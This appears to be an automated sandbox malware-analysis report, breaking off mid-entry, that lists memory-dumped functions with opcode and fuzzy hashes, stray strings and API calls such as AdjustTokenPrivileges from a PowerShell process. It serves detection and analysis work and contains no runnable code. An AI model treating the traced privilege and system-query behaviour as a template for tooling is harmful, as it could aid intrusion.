API String ID: 0-1613607475
Opcode ID: 1016736ab9a09cd32e5b8f1993440a28ebc01e7a998beb563d728613a95cbb70
Instruction ID: 591a35439bf5cc94b6a6f85c34198d957a7bdf9c3609f6b8aac3e21febf0b382
Opcode Fuzzy Hash: 1016736ab9a09cd32e5b8f1993440a28ebc01e7a998beb563d728613a95cbb70
Instruction Fuzzy Hash: ED91C630704690CBD725BB79D45832EB6A3EFC1308F14992DC0568BB95DFB59C898BD2

Uniqueness

Uniqueness Score: -1.00%

Function 001E12A0, Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

KDBM, xrefs: 001E1485

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: KDBM
API String ID: 0-3504354710
Opcode ID: fafc6ea288fafa09e17bbe6e26a1a4fb3a51ab70ace70e56b6b3bac2e1cb85dc
Instruction ID: e06e24224d3b3b744e3453c045d885f85ea092facbe4a051b5015e23497b3e77
Opcode Fuzzy Hash: fafc6ea288fafa09e17bbe6e26a1a4fb3a51ab70ace70e56b6b3bac2e1cb85dc
Instruction Fuzzy Hash: DE813BB0914149DFD741EFB4ED4DA9A7BB2EBC9308F10C425D0058AF68DBB45D89CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001E12B0, Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

KDBM, xrefs: 001E1485

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: KDBM
API String ID: 0-3504354710
Opcode ID: cc7c3bdad753043c297e8b6c871aa477ff51605aef7dfb5e3ff24f0503fde210
Instruction ID: 2b1c71b7d8d4bc4729f6b5c808bbdc20da660ee5f6a9dd919601c234a9d6a374
Opcode Fuzzy Hash: cc7c3bdad753043c297e8b6c871aa477ff51605aef7dfb5e3ff24f0503fde210
Instruction Fuzzy Hash: 58814AB0914149DFD741EFB4ED4DA9A7BB2EBC9308F10C524D0068AF68DBB41D89CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001E6650, Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

48ak, xrefs: 001E67C1

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: 48ak
API String ID: 0-3539199732
Opcode ID: 0c83ee1e51af5a3106c81109f3c44b29aa2134a3ef5cbf0a91b90dc5f1031c72
Instruction ID: d26551487c80e7be19b31b750a94afa65fdf8ddd77dcc12551506612614f1c51
Opcode Fuzzy Hash: 0c83ee1e51af5a3106c81109f3c44b29aa2134a3ef5cbf0a91b90dc5f1031c72
Instruction Fuzzy Hash: 99514374F006914FCB248B79C880BAEBBB2EFA5394FA4856AD415DB391DB38CC418790

Uniqueness

Uniqueness Score: -1.00%

Function 001E18F1, Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

pj, xrefs: 001E194F

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: pj
API String ID: 0-3608511053
Opcode ID: 3bf872cf20f77cb67d23ec75b5771403bf3e1eb3eab99df7f1a270555e177ea5
Instruction ID: 366d706bd0ead8eca69dbb99105a5f8127f2a0cef5a79a997813f276bc3caf4e
Opcode Fuzzy Hash: 3bf872cf20f77cb67d23ec75b5771403bf3e1eb3eab99df7f1a270555e177ea5
Instruction Fuzzy Hash: C61123307082849FC705DB39E820A6A3BE69FD2304F5441AAE004CF7A7DB75DC09CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001E083C, Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

pj, xrefs: 001E194F

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: pj
API String ID: 0-3608511053
Opcode ID: ff7ed83bafd9fe6972a4ed6b95488737bc7c1c2c5fe99e043b7eac96bc835f80
Instruction ID: 6baf1c326cce3b6563c18185ab432de962252954e57b5f746d26e02db30dcb97
Opcode Fuzzy Hash: ff7ed83bafd9fe6972a4ed6b95488737bc7c1c2c5fe99e043b7eac96bc835f80
Instruction Fuzzy Hash: 8F01263174C1909FD30197699C6856A3BE5DFC7300B4804EAE001CFBA2DB94AC0983E2

Uniqueness

Uniqueness Score: -1.00%

Function 001E0800, Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

pj, xrefs: 001E194F

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: pj
API String ID: 0-3608511053
Opcode ID: 8f1db7996e064df8a8ee611a2932124b6d63ea958307f2a550d4e8d6cf9d1a00
Instruction ID: 4f58be8952a6583124278c80305feb3b4c682dd093e78119b25479534cdbf650
Opcode Fuzzy Hash: 8f1db7996e064df8a8ee611a2932124b6d63ea958307f2a550d4e8d6cf9d1a00
Instruction Fuzzy Hash: 6BF0E530354060DBD304AA6DE8685AF339BDFC6314B500879F101CBB91DFA49C0587E1

Uniqueness

Uniqueness Score: -1.00%

Function 001E6C34, Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935706e42b84c890ebe64066bd6b756bc901970cbb0d59c275b4ba7d174866f9
Instruction ID: 2569e914c23c196a4a296b96b7a80d02c9c2b4357680ecbc7aa9c7ff3859aa4a
Opcode Fuzzy Hash: 935706e42b84c890ebe64066bd6b756bc901970cbb0d59c275b4ba7d174866f9
Instruction Fuzzy Hash: B6A15874B106108FDB08EB79D858A6E7BE6EF88705B108069E406DB7B5DF78DC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001E6FE0, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3246c0afd88efeeee2d10d6224fce81b7e0370e4b8308e63ff225755e1fed88c
Instruction ID: 2034e1832e4c7458e85f97b224be63c2164ca315f3eab0a00bea7b76b72ffc39
Opcode Fuzzy Hash: 3246c0afd88efeeee2d10d6224fce81b7e0370e4b8308e63ff225755e1fed88c
Instruction Fuzzy Hash: BFA13874B106108FDB08EB79D858A6E7BE6EF88705B118069E406DB7B5DF78DC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001E780D, Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77c816bee6c7152af648853965aafde56a6a9a60d0295dd1ac85443ed84e821
Instruction ID: 962592f9ce89e2b7cb7f930f1cd08c2b564eeeed7a5d2dcecbe951dabef37085
Opcode Fuzzy Hash: b77c816bee6c7152af648853965aafde56a6a9a60d0295dd1ac85443ed84e821
Instruction Fuzzy Hash: 5581AC74B0D7C08FE702A7359815B6D3BA19BA2304F1984FAD149CB6D7EB39CC4A8742

Uniqueness

Uniqueness Score: -1.00%

Function 001E3708, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c6bec39617b211447db5a7f74d28f765044bdc67feec22182bdbd0e81079c1f
Instruction ID: aae51accbf3e1205e8cece1efe8cdaed31291b78a300aeb8151f073b4f8df6a8
Opcode Fuzzy Hash: 8c6bec39617b211447db5a7f74d28f765044bdc67feec22182bdbd0e81079c1f
Instruction Fuzzy Hash: 445161B0E00648DFDB14CFA9C949BDEFBF2AF88704F148529E415A7354DB789945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001E36FC, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8f3713bca207961c4349dd172f85f0a4f7bb0ea5352102ec19e41753bf83ee
Instruction ID: a991396bb0b9788518b1415ecefbc86622a7523fcc262e968e2b7f036891af54
Opcode Fuzzy Hash: 3c8f3713bca207961c4349dd172f85f0a4f7bb0ea5352102ec19e41753bf83ee
Instruction Fuzzy Hash: 8E519FB0E00648DFDB14CFA9C849BDEFBF1AF88704F148529E815A7354DB789945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001E63A8, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9ce4da584e694283dc43d458ef4af5e8f96d8a418f0a074a1fd2badadb0a45
Instruction ID: 71d6b870859ce4be39ec08a07b25fdd4cad61e44aa523e253c771720b0308637
Opcode Fuzzy Hash: 5e9ce4da584e694283dc43d458ef4af5e8f96d8a418f0a074a1fd2badadb0a45
Instruction Fuzzy Hash: 5641BA34A00754CFDF14DBB5C8186AD77F2AF99348F940469D406EB2A5DF359C41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001E2D11, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8675418d7cfed7cd2f88170eb5690543ba1402e431a29262795f48ce57dac424
Instruction ID: 744c74db9f5e690dcf87f10a3ed0625811358f99f3d5000dbcf137311f865f34
Opcode Fuzzy Hash: 8675418d7cfed7cd2f88170eb5690543ba1402e431a29262795f48ce57dac424
Instruction Fuzzy Hash: CA418632F046945FCF209BFA9C586AEBBB8FB91310F15097AD546D7251EB34CC488791

Uniqueness

Uniqueness Score: -1.00%

Function 001E7660, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48ad0eb941562a0be8a0654c4c24faa9918c567dab6bdb7e3729972e381cf9d8
Instruction ID: 39f4dad9dbdcba7cadb349cf9d935711f38919ddb2b4138af1b015e19409f233
Opcode Fuzzy Hash: 48ad0eb941562a0be8a0654c4c24faa9918c567dab6bdb7e3729972e381cf9d8
Instruction Fuzzy Hash: 2841BC74B146408FD704DF29D858B6DBBF2AF8A700F1580A9E505DB3A2CB74EC048B91

Uniqueness

Uniqueness Score: -1.00%

Function 001E3168, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ba053526a412e4d105d88cf8be9ca483b47f4ff4fd9227658e9526e07fda75d
Instruction ID: cda0282c0015815f00300de0d6dea538127fa784ccb4448733313ee1a238b9ff
Opcode Fuzzy Hash: 3ba053526a412e4d105d88cf8be9ca483b47f4ff4fd9227658e9526e07fda75d
Instruction Fuzzy Hash: CD31CB38A006858FDB15EB79C92CAAD3BF1AF8A304F5041A9D546EB3A1DB31CE01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001E2E77, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c54252953ae739662ba5db28ea6be354f16875bee516a48c4438c54fdb4aa7a
Instruction ID: ba8edd1c60bec02e8e816987d7b1189f45fada681c2ad04d0a3c82e715236780
Opcode Fuzzy Hash: 7c54252953ae739662ba5db28ea6be354f16875bee516a48c4438c54fdb4aa7a
Instruction Fuzzy Hash: CB317E75B002149BDB14EB729C68BAF7AB7ABC9740F144438E502EB7D4EF749C4587A0

Uniqueness

Uniqueness Score: -1.00%

Function 001E1D7A, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0ad0707166399f936040f28ad83c4d2c220024cddfc8184f7ebe3825367298
Instruction ID: ca670c246f41772be32b0acf4a8bacbdc483d0b1ae97e66042b5470f0cbb9b10
Opcode Fuzzy Hash: 7a0ad0707166399f936040f28ad83c4d2c220024cddfc8184f7ebe3825367298
Instruction Fuzzy Hash: 9C2193357009806BDB31895EC8C4B6EB7A2FB9A324F28892BF80AC7751C735EC418751

Uniqueness

Uniqueness Score: -1.00%

Function 001E2E88, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47a9f67701aec3b19d774d4032d7e7f08f27750a7058095975bbc8902ab9e92
Instruction ID: 910b3dacf280843dcf2dfdad15390afa4d020f58ec2ce57e35ab5506ad168df3
Opcode Fuzzy Hash: e47a9f67701aec3b19d774d4032d7e7f08f27750a7058095975bbc8902ab9e92
Instruction Fuzzy Hash: 48317F35B002049BDB14EB729C68BAF7AB7ABC9740F144438E502EB7D4EF749C4487A0

Uniqueness

Uniqueness Score: -1.00%

Function 001E1DB0, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283994ec455e8857f7d57845470789ad0816f77a231794ff75aae5ec2999622a
Instruction ID: c772461ff032ecb47ec070b2fdb07621a7c9297eecfa20780b84acb88e6b2c28
Opcode Fuzzy Hash: 283994ec455e8857f7d57845470789ad0816f77a231794ff75aae5ec2999622a
Instruction Fuzzy Hash: E7213E357009816BDB35999BC880B6EB396FB99320F248D2AF85AC7B50C734EC818751

Uniqueness

Uniqueness Score: -1.00%

Function 001E6400, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbd7269ae44e555fac4801eac467a81cff3c90799c8ba62c27d81904647915d
Instruction ID: 421b866901fb60d63873cff94fdb035368e9ddba17319525a69fad5f0a38e711
Opcode Fuzzy Hash: 4bbd7269ae44e555fac4801eac467a81cff3c90799c8ba62c27d81904647915d
Instruction Fuzzy Hash: B8316934B00614CFCF14EBB5C9186AE76F2AF99784B900428D802E73E4DF398D41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0012D48C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290425657.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b2f9406f8b2be91420379353f0a07e22d052b8a7361465baea091791e28efe4
Instruction ID: dd29187b2c0a76b084b18530a413e0d6be56b2eb8ad92fa9d1791563e653995d
Opcode Fuzzy Hash: 7b2f9406f8b2be91420379353f0a07e22d052b8a7361465baea091791e28efe4
Instruction Fuzzy Hash: 93214271604244DFDB05DF10F8C4B26BF71FB98328F20C569E8050BA06C37AD826CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0013D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290616949.000000000013D000.00000040.00000001.sdmp, Offset: 0013D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f719f7376e4a13973ed3ed49806b743b9e3f4e39a84c50b34207a6ae5a259c
Instruction ID: 63ab6bd59d14e8cebebeaa9565c36c8312223dbe03464feccfd2c5dd3cb36098
Opcode Fuzzy Hash: 53f719f7376e4a13973ed3ed49806b743b9e3f4e39a84c50b34207a6ae5a259c
Instruction Fuzzy Hash: 8D21F574604204DFDB18CF10F984B26BB65EB84714F34C569E8494B746C336D806CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001E31C0, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f56671f0dc357e419a8b1d52772c9bbc54fb50062fb8c6449411c9a6a3493b5
Instruction ID: c607dfc151448bc274f5db8b4873a3aee7f33f95b6429c2037c15d15cf184a54
Opcode Fuzzy Hash: 1f56671f0dc357e419a8b1d52772c9bbc54fb50062fb8c6449411c9a6a3493b5
Instruction Fuzzy Hash: 1E214834A00655CFCF54EBB9C9586AD77F1AF8E344B9000A8D506EB3A0DF359E41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001E2C3D, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b71c65420e8d6b70ddee2126c3c3b9b3cedac5485c5341a71b7b922d62e3e684
Instruction ID: b15de378e0bb17783a135edb4f20eb773c77df5d45aed4b5cfa0afbfecf593a8
Opcode Fuzzy Hash: b71c65420e8d6b70ddee2126c3c3b9b3cedac5485c5341a71b7b922d62e3e684
Instruction Fuzzy Hash: C121D471D0D7888FCB52DFB988684AC7FB0EE06204B1609EBC445EB253D7358D45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001E79F8, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9915576e5bc6b748ae3ca48d2090f3c0ee99ecf030daae5c0572a02d0acca91e
Instruction ID: 27a07b65df75782f7da5c1f9cacac638276414251a101e9c4c2a37ac8010ec39
Opcode Fuzzy Hash: 9915576e5bc6b748ae3ca48d2090f3c0ee99ecf030daae5c0572a02d0acca91e
Instruction Fuzzy Hash: 6711AF30B04660DFDB197B71980972E7AA1EF85744F20447DE906DB394EF3A8D42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0013D006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290616949.000000000013D000.00000040.00000001.sdmp, Offset: 0013D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd1c38bf8c9a9dbcf367741b0f7656dd4178d7a0c3b36711927b948c2e287ee
Instruction ID: d88b69eccabe0c06b9c0b166176e7f4a9cec6d2ae76cef688e32f06006624bc1
Opcode Fuzzy Hash: 9cd1c38bf8c9a9dbcf367741b0f7656dd4178d7a0c3b36711927b948c2e287ee
Instruction Fuzzy Hash: D72150755083809FCB06CF24E994B15BFB1EF46714F28C5DAD8498F266C33AD85ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0012D487, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290425657.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94fc7edadfb3fbc0530babf06539c0c7753f849fcb5942fd332719b243b36ef2
Instruction ID: ce92e86cb06b8ad5808f5abcd8bb7254eb54a005caf449af35159b0f392ef7ee
Opcode Fuzzy Hash: 94fc7edadfb3fbc0530babf06539c0c7753f849fcb5942fd332719b243b36ef2
Instruction Fuzzy Hash: D411D376504280CFCB02CF10E9C4B16BF72FB94314F24C6A9D8094B656C37AD866CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001E7498, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b06b9466227c80b8115390e82929fdfba4c385ee237661b60be3ea0a31475fb1
Instruction ID: 424b289c536264bc47e5d80addacc11a5a0060ff308a08c9c6fa1103682c1a80
Opcode Fuzzy Hash: b06b9466227c80b8115390e82929fdfba4c385ee237661b60be3ea0a31475fb1
Instruction Fuzzy Hash: 1701D23471D3840FD3029735A824A6A3FA59B92314F0684FBE184CB6D3EB68CC09C352

Uniqueness

Uniqueness Score: -1.00%

Function 001E7B17, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a000aaf550b7071c43b1335b0e3e0aa983195de8657af7970e70949c674a39c
Instruction ID: c58d29668278eece5ffa618725054f8baa94bd236750727f684a1bf24e3ffbc6
Opcode Fuzzy Hash: 3a000aaf550b7071c43b1335b0e3e0aa983195de8657af7970e70949c674a39c
Instruction Fuzzy Hash: B001DF70A042089FD700EBBA9805BAE37E9AB84300F9480B6A508DB297FB70C8058B51

Uniqueness

Uniqueness Score: -1.00%

Function 001E16D8, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaee523a370a809b82983d30bb4f15e429ec902953d9127ef198d23d5ee5edd7
Instruction ID: 637d24e0bb587c3b3cb6db055eca498cec8164f1630bf92a0b38ddbcd0ac0029
Opcode Fuzzy Hash: aaee523a370a809b82983d30bb4f15e429ec902953d9127ef198d23d5ee5edd7
Instruction Fuzzy Hash: 3CE0D8347083894FC705DB3998597153BE5DB85304F58C4A6D444C7766EE74EC458701

Uniqueness

Uniqueness Score: -1.00%

Function 001E6B7F, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3849602f123711c342c34351eb008d94c1a11521bc2dff0d158cfc463cbd60
Instruction ID: 2a35b9ccd4fb9210cd7aa2bb69b6263dab6cb714c0a56d543cee46209a57c75a
Opcode Fuzzy Hash: 7f3849602f123711c342c34351eb008d94c1a11521bc2dff0d158cfc463cbd60
Instruction Fuzzy Hash: 32E0CDB1E155089FCF44EF7D65095AD7FF0AF59200B51467FC40AD7142FB7185858B41

Uniqueness

Uniqueness Score: -1.00%

Function 001E16D1, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073fe0e3c8f1d0d72e63701fc8ac9339c9c07168d0a880bbc516e64b0e859b4c
Instruction ID: 94d8d42375c00cf1254e4730cc5760ed94dadd464aae8cbb8320981ba7746521
Opcode Fuzzy Hash: 073fe0e3c8f1d0d72e63701fc8ac9339c9c07168d0a880bbc516e64b0e859b4c
Instruction Fuzzy Hash: 93E0C238B083015FD304CB299418B2937D297C4300F54C075E048C72A8DF31E8818601

Uniqueness

Uniqueness Score: -1.00%

Function 001E7B70, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2290950756.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114dd77e1b2f8bc50a158ff7542edee3023e810323eab71a8f89ae2ab9c03450
Instruction ID: 6484c724f74feafe53c28c19f615c385813c814425aef8cc35b9b52ad24a1092
Opcode Fuzzy Hash: 114dd77e1b2f8bc50a158ff7542edee3023e810323eab71a8f89ae2ab9c03450
Instruction Fuzzy Hash: 57D05E70D0420C5FCB80FFBA440126EBBF4AB58300F9041BA940CE3241FB7085504B92

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 1776 Parent PID: 2236 powershell.exeCOMMON

Executed Functions

Function 01CEACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01CEAD37

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 73069c555bc8641ecb27805330cc07d78192d6998fb3535e80cbff3f0f29ab24
Instruction ID: 27fd71d03297925b85e32961e9d4e3dd0c5593e22b4019e83eb9c5abca1e6c3d
Opcode Fuzzy Hash: 73069c555bc8641ecb27805330cc07d78192d6998fb3535e80cbff3f0f29ab24
Instruction Fuzzy Hash: 9421BF765097849FEB238F25DC44B92BFF4EF06310F09849AE9898B163D271D908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CEACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01CEAD37

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 262a35df5ba1e477d84789631ac4a6f4325f3ee640bd7dd7c300396cd13c843e
Instruction ID: 8550ca0f7dea4dd71c9726eff61b7e02466776328edcb189616c5f9ae83e5f90
Opcode Fuzzy Hash: 262a35df5ba1e477d84789631ac4a6f4325f3ee640bd7dd7c300396cd13c843e
Instruction Fuzzy Hash: 47117075500704DFEB21CF55D888B66FBE4EF04321F08C46AED498B662D772E514DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CEB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01CEB329

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 0b0489f44f568b26526047a6cc19dd673a397ea2c17d10336acd614a804732ea
Instruction ID: 20e67560b80e6cce0e497e10422c704362144164eee24718350197f5ac65b234
Opcode Fuzzy Hash: 0b0489f44f568b26526047a6cc19dd673a397ea2c17d10336acd614a804732ea
Instruction Fuzzy Hash: 1811A071509380AFDB228F15DC45F62FFB4EF06220F09849AED894B663D275A918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CEB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01CEB329

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 1f59685e1934d0c12de55eeb233bd28dde4c00fb38b5c2e49c36195601794cf9
Instruction ID: b9a3b88c5ee047a3f09637b5c8707ce5c3f3641f3bd27db245c8559922a9a4bd
Opcode Fuzzy Hash: 1f59685e1934d0c12de55eeb233bd28dde4c00fb38b5c2e49c36195601794cf9
Instruction Fuzzy Hash: 9501AD35400740DFEB218F09D88AB36FBE0EF08B20F08C09ADD494B612D671E918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02A087A0, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

(, xrefs: 02A08DA4
*_qq, xrefs: 02A08C01

Memory Dump Source

Source File: 00000021.00000002.2346052911.0000000002A00000.00000040.00000001.sdmp, Offset: 02A00000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
API String ID: 0-3610607862
Opcode ID: 2ee7b50821d914870e1f49101445c1d0e98e24221e2e37fa71d1460385e6249d
Instruction ID: 7504e4d3f14dfd7f090dcd1e16332f56043a07e8e66a17071f24ce8a5bb0b3d1
Opcode Fuzzy Hash: 2ee7b50821d914870e1f49101445c1d0e98e24221e2e37fa71d1460385e6249d
Instruction Fuzzy Hash: E3718230E00269CFDB54EB64D8947ADBAB6AF84340F1484BAC90AB72C0DF745D41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 02A088D6, Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

(, xrefs: 02A08DA4
*_qq, xrefs: 02A08C01

Memory Dump Source

Source File: 00000021.00000002.2346052911.0000000002A00000.00000040.00000001.sdmp, Offset: 02A00000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
